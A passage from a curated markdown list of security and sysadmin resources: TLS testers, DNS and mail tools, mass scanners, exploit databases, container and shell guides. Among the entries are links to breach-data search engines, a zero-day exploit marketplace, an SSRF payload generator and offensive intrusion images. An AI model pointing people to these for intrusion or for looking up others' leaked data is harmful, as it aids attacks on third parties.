&nbsp;&nbsp; <a href="https://www.ssllabs.com/ssltest/">SSLLabs Server Test</a> - performs a deep analysis of the configuration of any SSL web server. 
&nbsp;&nbsp; <a href="https://dev.ssllabs.com/ssltest/">SSLLabs Server Test (DEV)</a> - performs a deep analysis of the configuration of any SSL web server. 
&nbsp;&nbsp; <a href="https://www.immuniweb.com/ssl/">ImmuniWeb® SSLScan</a> - test SSL/TLS (PCI DSS, HIPAA and NIST). 
&nbsp;&nbsp; <a href="https://www.jitbit.com/sslcheck/">SSL Check</a> - scan your website for non-secure content. 
&nbsp;&nbsp; <a href="http://www.ssltools.com">SSL Scanner</a> - analyze website security. 
&nbsp;&nbsp; <a href="https://cryptcheck.fr/">CryptCheck</a> - test your TLS server configuration (e.g. ciphers). 
&nbsp;&nbsp; <a href="https://urlscan.io/">urlscan.io</a> - service to scan and analyse websites. 
&nbsp;&nbsp; <a href="https://report-uri.com/home/tools">Report URI</a> - monitoring security policies like CSP and HPKP. 
&nbsp;&nbsp; <a href="https://csp-evaluator.withgoogle.com/">CSP Evaluator</a> - allows developers and security experts to check if a Content Security Policy. 
&nbsp;&nbsp; <a href="https://uselesscsp.com/">Useless CSP</a> - public list about CSP in some big players (might make them care a bit more). 
&nbsp;&nbsp; <a href="https://whynohttps.com/">Why No HTTPS?</a> - top 100 websites by Alexa rank not automatically redirecting insecure requests. 
&nbsp;&nbsp; <a href="https://ciphersuite.info/">TLS Cipher Suite Search</a>- cipher suite search engine. 
&nbsp;&nbsp; <a href="https://github.com/RaymiiOrg/cipherli.st">cipherli.st</a> - strong ciphers for Apache, Nginx, Lighttpd, and more.* 
&nbsp;&nbsp; <a href="https://2ton.com.au/dhtool/">dhtool</a> - public Diffie-Hellman parameter service/tool. 
&nbsp;&nbsp; <a href="https://badssl.com/">badssl.com</a> - memorable site for testing clients against bad SSL configs. 
&nbsp;&nbsp; <a href="https://tlsfun.de/">tlsfun.de</a> - registered for various tests regarding the TLS/SSL protocol. 
&nbsp;&nbsp; <a href="https://sslmate.com/caa/">CAA Record Helper</a> - generate a CAA policy. 
&nbsp;&nbsp; <a href="https://ccadb.org/resources">Common CA Database</a> - repository of information about CAs, and their root and intermediate certificates. 
&nbsp;&nbsp; <a href="https://certstream.calidog.io/">CERTSTREAM</a> - real-time certificate transparency log update stream. 
&nbsp;&nbsp; <a href="https://crt.sh/">crt.sh</a> - discovers certificates by continually monitoring all of the publicly known CT. 
&nbsp;&nbsp; <a href="https://www.hardenize.com/">Hardenize</a> - deploy the security standards. 
&nbsp;&nbsp; <a href="https://cryptcheck.fr/suite/">Cipher suite compatibility</a> - test TLS cipher suite compatibility. 
&nbsp;&nbsp; <a href="https://www.urlvoid.com/">urlvoid</a> - this service helps you detect potentially malicious websites. 
&nbsp;&nbsp; <a href="https://securitytxt.org/">security.txt</a> - a proposed standard (generator) which allows websites to define security policies. 
&nbsp;&nbsp; <a href="https://github.com/mozilla/ssl-config-generator">ssl-config-generator</a> - help you follow the Mozilla Server Side TLS configuration guidelines. 
&nbsp;&nbsp; <a href="https://github.com/mjol/TLScan">TLScan</a> - pure python, SSL/TLS protocol and cipher scanner/enumerator.

##### :black_small_square: HTTP Headers & Web Linters

&nbsp;&nbsp; <a href="https://securityheaders.com/">Security Headers</a> - analyse the HTTP response headers (with rating system to the results). 
&nbsp;&nbsp; <a href="https://observatory.mozilla.org/">Observatory by Mozilla</a> - set of tools to analyze your website. 
&nbsp;&nbsp; <a href="https://webhint.io/">webhint</a> - is a linting tool that will help you with your site's accessibility, speed, security, and more.

##### :black_small_square: DNS

&nbsp;&nbsp; <a href="http://viewdns.info/">ViewDNS</a> - one source for free DNS related tools and information. 
&nbsp;&nbsp; <a href="https://dnslookup.org/">DNSLookup</a> - is an advanced DNS lookup tool. 
&nbsp;&nbsp; <a href="https://dnslytics.com/">DNSlytics</a> - online DNS investigation tool. 
&nbsp;&nbsp; <a href="https://dnsspy.io/">DNS Spy</a> - monitor, validate and verify your DNS configurations. 
&nbsp;&nbsp; <a href="https://zonemaster.iis.se/en/">Zonemaster</a> - helps you to control how your DNS works. 
&nbsp;&nbsp; <a href="http://leafdns.com/">Leaf DNS</a> - comprehensive DNS tester. 
&nbsp;&nbsp; <a href="https://findsubdomains.com/">Find subdomains online</a> - find subdomains for security assessment penetration test. 
&nbsp;&nbsp; <a href="https://dnsdumpster.com/">DNSdumpster</a> - dns recon & research, find & lookup dns records. 
&nbsp;&nbsp; <a href="https://dnstable.com/">DNS Table online</a> - search for DNS records by domain, IP, CIDR, ISP. 
&nbsp;&nbsp; <a href="https://intodns.com/">intoDNS</a> - DNS and mail server health checker. 
&nbsp;&nbsp; <a href="http://www.zonecut.net/dns/">DNS Bajaj</a> - check the delegation of your domain. 
&nbsp;&nbsp; <a href="https://www.buddyns.com/delegation-lab/">BuddyDNS Delegation LAB</a> - check, trace and visualize delegation of your domain. 
&nbsp;&nbsp; <a href="https://dnssec-debugger.verisignlabs.com/">dnssec-debugger</a> - DS or DNSKEY records validator. 
&nbsp;&nbsp; <a href="http://ptrarchive.com/">PTRarchive.com</a> - this site is responsible for the safekeeping of historical reverse DNS records. 
&nbsp;&nbsp; <a href="http://xip.io/">xip.io</a> - wildcard DNS for everyone. 
&nbsp;&nbsp; <a href="https://nip.io/">nip.io</a> - dead simple wildcard DNS for any IP Address. 
&nbsp;&nbsp; <a href="https://ceipam.eu/en/dnslookup.php">dnslookup (ceipam)</a> - one of the best DNS propagation checker (and not only). 
&nbsp;&nbsp; <a href="https://whatsmydns.com">What's My DNS</a> - DNS propagation checking tool. 
&nbsp;&nbsp; <a href="https://blog.erbbysam.com/index.php/2019/02/09/dnsgrep/">DNSGrep</a> - quickly searching large DNS datasets.

##### :black_small_square: Mail

&nbsp;&nbsp; <a href="https://luxsci.com/smtp-tls-checker">smtp-tls-checker</a> - check an email domain for SMTP TLS support. 
&nbsp;&nbsp; <a href="https://mxtoolbox.com/SuperTool.aspx">MX Toolbox</a> - all of your MX record, DNS, blacklist and SMTP diagnostics in one integrated tool. 
&nbsp;&nbsp; <a href="https://www.checktls.com/index.html">Secure Email</a> - complete email test tools for email technicians. 
&nbsp;&nbsp; <a href="http://www.blacklistalert.org/">blacklistalert</a> - checks to see if your domain is on a Real Time Spam Blacklist. 
&nbsp;&nbsp; <a href="http://multirbl.valli.org/">MultiRBL</a> - complete IP check for sending Mailservers. 
&nbsp;&nbsp; <a href="https://dkimvalidator.com/">DKIM SPF & Spam Assassin Validator</a> - checks mail authentication and scores messages with Spam Assassin.

##### :black_small_square: Encoders/Decoders and Regex testing

&nbsp;&nbsp; <a href="https://www.url-encode-decode.com/">URL Encode/Decode</a> - tool from above to either encode or decode a string of text. 
&nbsp;&nbsp; <a href="https://uncoder.io/">Uncoder</a> - the online translator for search queries on log data. 
&nbsp;&nbsp; <a href="https://regex101.com/">Regex101</a> - online regex tester and debugger: PHP, PCRE, Python, Golang and JavaScript. 
&nbsp;&nbsp; <a href="https://regexr.com/">RegExr</a> - online tool to learn, build, & test Regular Expressions (RegEx / RegExp). 
&nbsp;&nbsp; <a href="https://www.regextester.com/">RegEx Testing</a> - online regex testing tool. 
&nbsp;&nbsp; <a href="https://www.regexpal.com/">RegEx Pal</a> - online regex testing tool + other tools. 
&nbsp;&nbsp; <a href="https://gchq.github.io/CyberChef/">The Cyber Swiss Army Knife</a> - a web app for encryption, encoding, compression and data analysis.

##### :black_small_square: Net-tools

&nbsp;&nbsp; <a href="https://toolbar.netcraft.com/site_report">Netcraft</a> - detailed report about the site, helping you to make informed choices about their integrity.* 
&nbsp;&nbsp; <a href="https://atlas.ripe.net/">RIPE NCC Atlas</a> - a global, open, distributed Internet measurement platform. 
&nbsp;&nbsp; <a href="https://www.robtex.com/">Robtex</a> - uses various sources to gather public information about IP numbers, domain names, host names, etc. 
&nbsp;&nbsp; <a href="https://securitytrails.com/">Security Trails</a> - APIs for Security Companies, Researchers and Teams. 
&nbsp;&nbsp; <a href="https://tools.keycdn.com/curl">Online Curl</a> - curl test, analyze HTTP Response Headers. 
&nbsp;&nbsp; <a href="https://extendsclass.com/">Online Tools for Developers</a> - HTTP API tools, testers, encoders, converters, formatters, and other tools. 
&nbsp;&nbsp; <a href="https://ping.eu/">Ping.eu</a> - online Ping, Traceroute, DNS lookup, WHOIS and others. 
&nbsp;&nbsp; <a href="https://network-tools.com/">Network-Tools</a> - network tools for webmasters, IT technicians & geeks. 
&nbsp;&nbsp; <a href="https://bgpview.io/">BGPview</a> - search for any ASN, IP, Prefix or Resource name. 
&nbsp;&nbsp; <a href="https://isbgpsafeyet.com/">Is BGP safe yet?</a> - check BGP (RPKI) security of ISPs and other major Internet players. 
&nbsp;&nbsp; <a href="https://riseup.net/">Riseup</a> - provides online communication tools for people and groups working on liberatory social change. 
&nbsp;&nbsp; <a href="https://www.virustotal.com/gui/home/upload">VirusTotal</a> - analyze suspicious files and URLs to detect types of malware.

##### :black_small_square: Privacy

&nbsp;&nbsp; <a href="https://www.privacyguides.org/">privacyguides.org</a> - provides knowledge and tools to protect your privacy against global mass surveillance. 
&nbsp;&nbsp; <a href="https://dnsprivacy.org/wiki/display/DP/DNS+Privacy+Test+Servers">DNS Privacy Test Servers</a> - DNS privacy recursive servers list (with a 'no logging' policy).

##### :black_small_square: Code parsers/playgrounds

&nbsp;&nbsp; <a href="https://www.shellcheck.net/">ShellCheck</a> - finds bugs in your shell scripts. 
&nbsp;&nbsp; <a href="https://explainshell.com/">explainshell</a> - get interactive help texts for shell commands. 
&nbsp;&nbsp; <a href="https://jsbin.com/?html,output">jsbin</a> - live pastebin for HTML, CSS & JavaScript, and more. 
&nbsp;&nbsp; <a href="https://codesandbox.io/">CodeSandbox</a> - online code editor for web application development. 
&nbsp;&nbsp; <a href="http://sandbox.onlinephpfunctions.com/">PHP Sandbox</a> - test your PHP code with this code tester. 
&nbsp;&nbsp; <a href="https://www.repl.it/">Repl.it</a> - an instant IDE to learn, build, collaborate, and host all in one place. 
&nbsp;&nbsp; <a href="http://www.vclfiddle.net/">vclFiddle</a> - is an online tool for experimenting with the Varnish Cache VCL. 
&nbsp;&nbsp; <a href="https://github.com/hadolint/hadolint">Haskell Dockerfile Linter</a> - a smarter Dockerfile linter that helps you build best practice Docker images.

##### :black_small_square: Performance

&nbsp;&nbsp; <a href="https://gtmetrix.com/">GTmetrix</a> - analyze your site’s speed and make it faster. 
&nbsp;&nbsp; <a href="https://performance.sucuri.net/">Sucuri loadtimetester</a> - test here the
performance of any of your sites from across the globe. 
&nbsp;&nbsp; <a href="https://tools.pingdom.com/">Pingdom Tools</a> - analyze your site’s speed around the world. 
&nbsp;&nbsp; <a href="https://pingme.io/">PingMe.io</a> - run website latency tests across multiple geographic regions. 
&nbsp;&nbsp; <a href="https://developers.google.com/speed/pagespeed/insights/">PageSpeed Insights</a> - analyze your site’s speed and make it faster. 
&nbsp;&nbsp; <a href="https://web.dev/">web.dev</a> - helps developers like you learn and apply the web's modern capabilities to your own sites and apps. 
&nbsp;&nbsp; <a href="https://github.com/GoogleChrome/lighthouse">Lighthouse</a> - automated auditing, performance metrics, and best practices for the web.

##### :black_small_square: Mass scanners (search engines)

&nbsp;&nbsp; <a href="https://censys.io/">Censys</a> - platform that helps information security practitioners discover, monitor, and analyze devices. 
&nbsp;&nbsp; <a href="https://www.shodan.io/">Shodan</a> - the world's first search engine for Internet-connected devices. 
&nbsp;&nbsp; <a href="https://2000.shodan.io/#/">Shodan 2000</a> - this tool looks for randomly generated data from Shodan. 
&nbsp;&nbsp; <a href="https://viz.greynoise.io/table">GreyNoise</a> - mass scanner such as Shodan and Censys. 
&nbsp;&nbsp; <a href="https://www.zoomeye.org/">ZoomEye</a> - search engine for cyberspace that lets the user find specific network components. 
&nbsp;&nbsp; <a href="https://netograph.io/">netograph</a> - tools to monitor and understand deep structure of the web. 
&nbsp;&nbsp; <a href="https://fofa.so/">FOFA</a> - is a cyberspace search engine. 
&nbsp;&nbsp; <a href="https://www.onyphe.io/">onyphe</a> - is a search engine for open-source and cyber threat intelligence data collected. 
&nbsp;&nbsp; <a href="https://intelx.io/">IntelligenceX</a> - is a search engine and data archive. 
&nbsp;&nbsp; <a href="https://app.binaryedge.io/">binaryedge</a> - it scan the entire internet space and create real-time threat intelligence streams and reports. 
&nbsp;&nbsp; <a href="https://spyse.com/">Spyse</a> - Internet assets registry: networks, threats, web objects, etc. 
&nbsp;&nbsp; <a href="https://wigle.net/">wigle</a> - is a submission-based catalog of wireless networks. All the networks. Found by Everyone. 
&nbsp;&nbsp; <a href="https://publicwww.com/">PublicWWW</a> - find any alphanumeric snippet, signature or keyword in the web pages HTML, JS and CSS code. 
&nbsp;&nbsp; <a href="https://inteltechniques.com/index.html">IntelTechniques</a> - this repository contains hundreds of online search utilities. 
&nbsp;&nbsp; <a href="https://hunter.io/">hunter</a> - lets you find email addresses in seconds and connect with the people that matter for your business. 
&nbsp;&nbsp; <a href="https://ghostproject.fr/">GhostProject?</a> - search by full email address or username. 
&nbsp;&nbsp; <a href="https://www.databreaches.live/">databreaches</a> - was my email affected by data breach? 
&nbsp;&nbsp; <a href="https://weleakinfo.com">We Leak Info</a> - world's fastest and largest data breach search engine. 
&nbsp;&nbsp; <a href="https://pulsedive.com/">Pulsedive</a> - scans of malicious URLs, IPs, and domains, including port scans and web requests. 
&nbsp;&nbsp; <a href="https://buckets.grayhatwarfare.com/">Buckets by Grayhatwarfar</a> - database with public search for Open Amazon S3 Buckets and their contents. 
&nbsp;&nbsp; <a href="https://vigilante.pw/">Vigilante.pw</a> - the breached database directory. 
&nbsp;&nbsp; <a href="https://builtwith.com/">builtwith</a> - find out what websites are built with. 
&nbsp;&nbsp; <a href="https://nerdydata.com/">NerdyData</a> - search the web's source code for technologies, across millions of sites. 
&nbsp;&nbsp; <a href="http://zorexeye.com/">zorexeye</a> - search for sites, images, apps, softwares & more. 
&nbsp;&nbsp; <a href="https://www.mmnt.net/">Mamont's open FTP Index</a> - if a target has an open FTP site with accessible content it will be listed here. 
&nbsp;&nbsp; <a href="https://osintframework.com/">OSINT Framework</a> - focused on gathering information from free tools or resources. 
&nbsp;&nbsp; <a href="https://www.maltiverse.com/search">maltiverse</a> - is a service oriented to cybersecurity analysts. 
&nbsp;&nbsp; <a href="https://leakedsource.ru/main/">Leaked Source</a> - is a collaboration of data found online in the form of a lookup. 
&nbsp;&nbsp; <a href="https://search.weleakinfo.com/">We Leak Info</a> - to help everyday individuals secure their online life, avoiding getting hacked. 
&nbsp;&nbsp; <a href="https://pipl.com/">pipl</a> - is the place to find the person behind the email address, social username or phone number. 
&nbsp;&nbsp; <a href="https://abuse.ch/">abuse.ch</a> - is operated by a random swiss guy fighting malware for non-profit. 
&nbsp;&nbsp; <a href="http://malc0de.com/database/">malc0de</a> - malware search engine. 
&nbsp;&nbsp; <a href="https://cybercrime-tracker.net/index.php">Cybercrime Tracker</a> - monitors and tracks various malware families that are used to perpetrate cyber crimes. 
&nbsp;&nbsp; <a href="https://github.com/eth0izzle/shhgit/">shhgit</a> - find GitHub secrets in real time. 
&nbsp;&nbsp; <a href="https://searchcode.com/">searchcode</a> - helping you find real world examples of functions, API's and libraries. 
&nbsp;&nbsp; <a href="http://www.insecam.org/">Insecam</a> - the world biggest directory of online surveillance security cameras. 
&nbsp;&nbsp; <a href="http://index-of.es/">index-of</a> - contains great stuff like: security, hacking, reverse engineering, cryptography, programming etc. 
&nbsp;&nbsp; <a href="https://opendata.rapid7.com/">Rapid7 Labs Open Data</a> - is a great resources of datasets from Project Sonar. 
&nbsp;&nbsp; <a href="https://webtechsurvey.com/common-response-headers">Common Response Headers</a> - the largest database of HTTP response headers. 
&nbsp;&nbsp; <a href="https://labs.inquest.net">InQuest Labs</a> - InQuest Labs is an open, interactive, and API driven data portal for security researchers.

##### :black_small_square: Generators

&nbsp;&nbsp; <a href="https://thispersondoesnotexist.com/">thispersondoesnotexist</a> - generate fake faces in one click - endless possibilities. 
&nbsp;&nbsp; <a href="https://generated.photos">AI Generated Photos</a> - 100.000 AI generated faces. 
&nbsp;&nbsp; <a href="https://www.fakenamegenerator.com/">fakenamegenerator</a> - your randomly generated identity. 
&nbsp;&nbsp; <a href="https://tools.intigriti.io/redirector/">Intigriti Redirector</a> - open redirect/SSRF payload generator.

##### :black_small_square: Passwords

&nbsp;&nbsp; <a href="https://haveibeenpwned.com/">have i been pwned?</a> - check if you have an account that has been compromised in a data breach. 
&nbsp;&nbsp; <a href="https://www.dehashed.com/">dehashed</a> - is a hacked database search engine. 
&nbsp;&nbsp; <a href="https://leakedsource.ru/">Leaked Source</a> - is a collaboration of data found online in the form of a lookup.

##### :black_small_square: CVE/Exploits databases

&nbsp;&nbsp; <a href="https://cve.mitre.org/">CVE Mitre</a> - list of publicly known cybersecurity vulnerabilities. 
&nbsp;&nbsp; <a href="https://www.cvedetails.com/">CVE Details</a> - CVE security vulnerability advanced database. 
&nbsp;&nbsp; <a href="https://www.exploit-db.com/">Exploit DB</a> - CVE compliant archive of public exploits and corresponding vulnerable software. 
&nbsp;&nbsp; <a href="https://0day.today/">0day.today</a> - exploits market provides you the possibility to buy/sell zero-day exploits. 
&nbsp;&nbsp; <a href="https://sploitus.com/">sploitus</a> - the exploit and tools database. 
&nbsp;&nbsp; <a href="https://cxsecurity.com/exploit/">cxsecurity</a> - free vulnerability database. 
&nbsp;&nbsp; <a href="https://www.vulncode-db.com/">Vulncode-DB</a> - is a database for vulnerabilities and their corresponding source code if available. 
&nbsp;&nbsp; <a href="https://cveapi.com/">cveapi</a> - free API for CVE data.

##### :black_small_square: Mobile apps scanners

&nbsp;&nbsp; <a href="https://www.immuniweb.com/mobile/">ImmuniWeb® Mobile App Scanner</a> - test security and privacy of mobile apps (iOS & Android). 
&nbsp;&nbsp; <a href="https://vulnerabilitytest.quixxi.com/">Quixxi</a> - free Mobile App Vulnerability Scanner for Android & iOS. 
&nbsp;&nbsp; <a href="https://www.ostorlab.co/scan/mobile/">Ostorlab</a> - analyzes mobile application to identify vulnerabilities and potential weaknesses.

##### :black_small_square: Private Search Engines

&nbsp;&nbsp; <a href="https://www.startpage.com/">Startpage</a> - the world's most private search engine. 
&nbsp;&nbsp; <a href="https://searx.me/">searX</a> - a privacy-respecting, hackable metasearch engine. 
&nbsp;&nbsp; <a href="https://darksearch.io/">darksearch</a> - the 1st real Dark Web search engine. 
&nbsp;&nbsp; <a href="https://www.qwant.com/">Qwant</a> - the search engine that respects your privacy. 
&nbsp;&nbsp; <a href="https://duckduckgo.com/">DuckDuckGo</a> - the search engine that doesn't track you. 
&nbsp;&nbsp; <a href="https://swisscows.com/">Swisscows</a> - privacy safe web search 
&nbsp;&nbsp; <a href="https://search.disconnect.me/">Disconnect</a> - the search engine that anonymizes your searches. 
&nbsp;&nbsp; <a href="https://metager.org/">MetaGer</a> - the search engine that uses anonymous proxy and hidden Tor branches.

##### :black_small_square: Secure Webmail Providers

&nbsp;&nbsp; <a href="https://countermail.com/">CounterMail</a> - online email service, designed to provide maximum security and privacy. 
&nbsp;&nbsp; <a href="http://mail2tor.com/">Mail2Tor</a> - is a Tor Hidden Service that allows anyone to send and receive emails anonymously. 
&nbsp;&nbsp; <a href="https://tutanota.com/">Tutanota</a> - is the world's most secure email service and amazingly easy to use. 
&nbsp;&nbsp; <a href="https://protonmail.com/">Protonmail</a> - is the world's largest secure email service, developed by CERN and MIT scientists. 
&nbsp;&nbsp; <a href="https://www.startmail.com/en/">Startmail</a> - private & encrypted email made easy.

##### :black_small_square: Crypto

&nbsp;&nbsp; <a href="https://keybase.io/">Keybase</a> - it's open source and powered by public-key cryptography.

##### :black_small_square: PGP Keyservers

&nbsp;&nbsp; <a href="https://keyserver.ubuntu.com/">SKS OpenPGP Key server</a> - services for the SKS keyservers used by OpenPGP.

#### Systems/Services &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: Operating Systems

&nbsp;&nbsp; <a href="http://www.slackware.com/">Slackware</a> - the most "Unix-like" Linux distribution. 
&nbsp;&nbsp; <a href="https://www.openbsd.org/">OpenBSD</a> - multi-platform 4.4BSD-based UNIX-like operating system. 
&nbsp;&nbsp; <a href="https://hardenedbsd.org/">HardenedBSD</a> - HardenedBSD aims to implement innovative exploit mitigation and security solutions. 
&nbsp;&nbsp; <a href="https://www.kali.org/">Kali Linux</a> - Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments. 
&nbsp;&nbsp; <a href="https://www.parrotsec.org/">Parrot Security OS</a> - cyber security GNU/Linux environment. 
&nbsp;&nbsp; <a href="https://www.backbox.org/">Backbox Linux</a> - penetration test and security assessment oriented Ubuntu-based Linux distribution. 
&nbsp;&nbsp; <a href="https://blackarch.org/">BlackArch</a> - is an Arch Linux-based penetration testing distribution for penetration testers. 
&nbsp;&nbsp; <a href="https://www.pentoo.ch/">Pentoo</a> - is a security-focused livecd based on Gentoo. 
&nbsp;&nbsp; <a href="https://securityonion.net/">Security Onion</a> - Linux distro for intrusion detection, enterprise security monitoring, and log management. 
&nbsp;&nbsp; <a href="https://tails.boum.org/">Tails</a> - is a live system that aims to preserve your privacy and anonymity. 
&nbsp;&nbsp; <a href="https://github.com/vedetta-com/vedetta">vedetta</a> - OpenBSD router boilerplate. 
&nbsp;&nbsp; <a href="https://www.qubes-os.org">Qubes OS</a> - is a security-oriented OS that uses Xen-based virtualization.

##### :black_small_square: HTTP(s) Services

&nbsp;&nbsp; <a href="https://varnish-cache.org/">Varnish Cache</a> - HTTP accelerator designed for content-heavy dynamic web sites. 
&nbsp;&nbsp; <a href="https://nginx.org/">Nginx</a> - open source web and reverse proxy server that is similar to Apache, but very light weight. 
&nbsp;&nbsp; <a href="https://openresty.org/en/">OpenResty</a> - is a dynamic web platform based on NGINX and LuaJIT. 
&nbsp;&nbsp; <a href="https://github.com/alibaba/tengine">Tengine</a> - a distribution of Nginx with some advanced features. 
&nbsp;&nbsp; <a href="https://caddyserver.com/">Caddy Server</a> - is an open source, HTTP/2-enabled web server with HTTPS by default. 
&nbsp;&nbsp; <a href="https://www.haproxy.org/">HAProxy</a> - the reliable, high performance TCP/HTTP load balancer.

##### :black_small_square: DNS Services

&nbsp;&nbsp; <a href="https://nlnetlabs.nl/projects/unbound/about/">Unbound</a> - validating, recursive, and caching DNS resolver (with TLS). 
&nbsp;&nbsp; <a href="https://www.knot-resolver.cz/">Knot Resolver</a> - caching full resolver implementation, including both a resolver library and a daemon. 
&nbsp;&nbsp; <a href="https://www.powerdns.com/">PowerDNS</a> - is an open source authoritative DNS server, written in C++ and licensed under the GPL.

##### :black_small_square: Other Services

&nbsp;&nbsp; <a href="https://github.com/z3APA3A/3proxy">3proxy</a> - tiny free proxy server.

##### :black_small_square: Security/hardening

&nbsp;&nbsp; <a href="https://twitter.com/EmeraldOnion">Emerald Onion</a> - is a 501(c)(3) nonprofit organization and transit internet service provider (ISP). 
&nbsp;&nbsp; <a href="https://github.com/pi-hole/pi-hole">pi-hole</a> - the Pi-hole® is a DNS sinkhole that protects your devices from unwanted content. 
&nbsp;&nbsp; <a href="https://github.com/stamparm/maltrail">maltrail</a> - malicious traffic detection system. 
&nbsp;&nbsp; <a href="https://github.com/Netflix/security_monkey">security_monkey</a> - monitors AWS, GCP, OpenStack, and GitHub orgs for assets and their changes over time. 
&nbsp;&nbsp; <a href="https://github.com/firecracker-microvm/firecracker">firecracker</a> - secure and fast microVMs for serverless computing. 
&nbsp;&nbsp; <a href="https://github.com/StreisandEffect/streisand">streisand</a> - sets up a new server running your choice of WireGuard, OpenSSH, OpenVPN, and more.

#### Networks &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: Tools

&nbsp;&nbsp; <a href="https://www.capanalysis.net/ca/">CapAnalysis</a> - web visual tool to analyze large amounts of captured network traffic (PCAP analyzer). 
&nbsp;&nbsp; <a href="https://github.com/digitalocean/netbox">netbox</a> - IP address management (IPAM) and data center infrastructure management (DCIM) tool.

##### :black_small_square: Labs

&nbsp;&nbsp; <a href="https://labs.networkreliability.engineering/">NRE Labs</a> - learn automation by doing it. Right now, right here, in your browser.

##### :black_small_square: Other

&nbsp;&nbsp; <a href="https://ee.lbl.gov/">LBNL's Network Research Group</a> - home page of the Network Research Group (NRG).

#### Containers/Orchestration &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: CLI Tools

&nbsp;&nbsp; <a href="https://github.com/google/gvisor">gvisor</a> - container runtime sandbox. 
&nbsp;&nbsp; <a href="https://github.com/bcicen/ctop">ctop</a> - top-like interface for container metrics.

##### :black_small_square: Web Tools

&nbsp;&nbsp; <a href="https://github.com/moby/moby">Moby</a> - a collaborative project for the container ecosystem to assemble container-based system. 
&nbsp;&nbsp; <a href="https://traefik.io/">Traefik</a> - open source reverse proxy/load balancer provides easier integration with Docker and Let's encrypt. 
&nbsp;&nbsp; <a href="https://github.com/Kong/kong">kong</a> - The Cloud-Native API Gateway. 
&nbsp;&nbsp; <a href="https://github.com/rancher/rancher">rancher</a> - complete container management platform. 
&nbsp;&nbsp; <a href="https://github.com/portainer/portainer">portainer</a> - making Docker management easy. 
&nbsp;&nbsp; <a href="https://github.com/jwilder/nginx-proxy">nginx-proxy</a> - automated nginx proxy for Docker containers using docker-gen. 
&nbsp;&nbsp; <a href="https://github.com/bunkerity/bunkerized-nginx">bunkerized-nginx</a> - nginx docker image "secure by default".

##### :black_small_square: Security

&nbsp;&nbsp; <a href="https://github.com/docker/docker-bench-security">docker-bench-security</a> - checks for dozens of common best-practices around deploying Docker. 
&nbsp;&nbsp; <a href="https://github.com/aquasecurity/trivy">trivy</a> - vulnerability scanner for containers, suitable for CI. 
&nbsp;&nbsp; <a href="https://goharbor.io/">Harbor</a> - cloud native registry project that stores, signs, and scans content. 
&nbsp;&nbsp; <a href="https://houdini.secsi.io/">Houdini</a> - hundreds of offensive and useful docker images for network intrusion.

##### :black_small_square: Manuals/Tutorials/Best Practices

&nbsp;&nbsp; <a href="https://github.com/wsargent/docker-cheat-sheet">docker-cheat-sheet</a> - a quick reference cheat sheet on Docker. 
&nbsp;&nbsp; <a href="https://github.com/veggiemonk/awesome-docker">awesome-docker</a> - a curated list of Docker resources and projects. 
&nbsp;&nbsp; <a href="https://github.com/yeasy/docker_practice">docker_practice</a> - learn and understand Docker technologies, with real DevOps practice! 
&nbsp;&nbsp; <a href="https://github.com/docker/labs">labs
</a> - is a collection of tutorials for learning how to use Docker with various tools. 
&nbsp;&nbsp; <a href="https://github.com/jessfraz/dockerfiles">dockerfiles</a> - various Dockerfiles I use on the desktop and on servers. 
&nbsp;&nbsp; <a href="https://github.com/kelseyhightower/kubernetes-the-hard-way">kubernetes-the-hard-way</a> - bootstrap Kubernetes the hard way on Google Cloud Platform. No scripts. 
&nbsp;&nbsp; <a href="https://github.com/jamesward/kubernetes-the-easy-way">kubernetes-the-easy-way</a> - bootstrap Kubernetes the easy way on Google Cloud Platform. No scripts. 
&nbsp;&nbsp; <a href="https://github.com/dennyzhang/cheatsheet-kubernetes-A4">cheatsheet-kubernetes-A4</a> - Kubernetes CheatSheets in A4. 
&nbsp;&nbsp; <a href="https://github.com/kabachook/k8s-security">k8s-security</a> - kubernetes security notes and best practices. 
&nbsp;&nbsp; <a href="https://learnk8s.io/production-best-practices/">kubernetes-production-best-practices</a> - checklists with best-practices for production-ready Kubernetes. 
&nbsp;&nbsp; <a href="https://github.com/freach/kubernetes-security-best-practice">kubernetes-production-best-practices</a> - kubernetes security - best practice guide. 
&nbsp;&nbsp; <a href="https://github.com/hjacobs/kubernetes-failure-stories">kubernetes-failure-stories</a> - is a compilation of public failure/horror stories related to Kubernetes.

#### Manuals/Howtos/Tutorials &nbsp;[[TOC]](#anger-table-of-contents)

##### :black_small_square: Shell/Command line

&nbsp;&nbsp; <a href="https://github.com/dylanaraps/pure-bash-bible">pure-bash-bible</a> - is a collection of pure bash alternatives to external processes. 
&nbsp;&nbsp; <a href="https://github.com/dylanaraps/pure-sh-bible">pure-sh-bible</a> - is a collection of pure POSIX sh alternatives to external processes. 
&nbsp;&nbsp; <a href="https://github.com/Idnan/bash-guide">bash-guide</a> - is a guide to learn bash. 
&nbsp;&nbsp; <a href="https://github.com/denysdovhan/bash-handbook">bash-handbook</a> - for those who wanna learn Bash. 
&nbsp;&nbsp; <a href="https://wiki.bash-hackers.org/start">The Bash Hackers Wiki</a> - hold documentation of any kind about GNU Bash. 
&nbsp;&nbsp; <a href="http://pubs.opengroup.org/onlinepubs/9699919799/utilities/contents.html">Shell & Utilities</a> - describes the commands offered to application programs by POSIX-conformant systems. 
&nbsp;&nbsp; <a href="https://github.com/jlevy/the-art-of-command-line">the-art-of-command-line</a> - master the command line, in one page. 
&nbsp;&nbsp; <a href="https://google.github.io/styleguide/shellguide.html">Shell Style Guide</a> - a shell style guide for Google-originated open-source projects.

##### :black_small_square: Text Editors

&nbsp;&nbsp; <a href="https://vim.rtorr.com/">Vim Cheat Sheet</a> - great multi language vim guide.

##### :black_small_square: Python

&nbsp;&nbsp; <a href="https://awesome-python.com/">Awesome Python</a> - a curated list of awesome Python frameworks, libraries, software and resources. 
&nbsp;&nbsp; <a href="https://github.com/gto76/python-cheatsheet">python-cheatsheet</a> - comprehensive Python cheatsheet. 
&nbsp;&nbsp; <a href="https://www.pythoncheatsheet.org/">pythoncheatsheet.org</a> - basic reference for beginner and advanced developers.

##### :black_small_square: Sed & Awk & Other

&nbsp;&nbsp; <a href="https://posts.specterops.io/fawk-yeah-advanced-sed-and-awk-usage-parsing-for-pentesters-3-e5727e11a8ad?gi=c8f9506b26b6">F’Awk Yeah!</a> - advanced sed and awk usage (Parsing for Pentesters 3).

##### :black_small_square: \*nix & Network

